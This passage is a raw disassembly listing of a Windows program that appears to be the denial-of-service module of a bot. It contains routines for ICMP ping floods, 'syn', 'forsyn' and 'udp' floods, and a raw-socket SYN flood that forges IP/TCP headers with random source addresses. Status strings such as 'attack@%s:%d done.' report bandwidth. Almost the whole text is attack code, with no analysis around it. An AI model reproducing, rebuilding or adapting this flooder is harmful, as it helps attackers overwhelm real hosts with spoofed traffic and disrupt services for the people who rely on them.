loc_4278DE:				; CODE XREF: sub_427800+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427800	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427980	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27E0937h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4279EA
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_4279EA
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_4279EA
		test	eax, eax
		jz	short loc_4279EA
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_4279F5


loc_4279EA:				; CODE XREF: sub_427980+1Bj
					; sub_427980+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_4279F5:				; CODE XREF: sub_427980+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427A0C
		mov	[esp+24h+arg_FFE8], eax


loc_427A0C:				; CODE XREF: sub_427980+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427A1F
		mov	ebp, 1


loc_427A1F:				; CODE XREF: sub_427980+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427A64


loc_427A30:				; CODE XREF: sub_427980+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427A64
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427A30


loc_427A64:				; CODE XREF: sub_427980+AEj
					; sub_427980+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AC0	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427AC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B00	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427B00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427B00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427BA0	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427BA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427C60:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427C78
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427C78:				; CODE XREF: ___:00427C6Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2790000h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2830000h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		call	near ptr 27E0DC8h
		nop
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp
		push	14h
		mov	[esp+3Ah], ax
		call	ebp
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp
		mov	[esp+34h], ax
		call	ebx
		mov	edi, eax
		shl	edi, 10h
		call	ebx
		or	edi, eax
		push	edi
		call	ebp
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		call	near ptr 71AB2C69h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27E0DC8h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 7906E890h, 0B9A00240h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
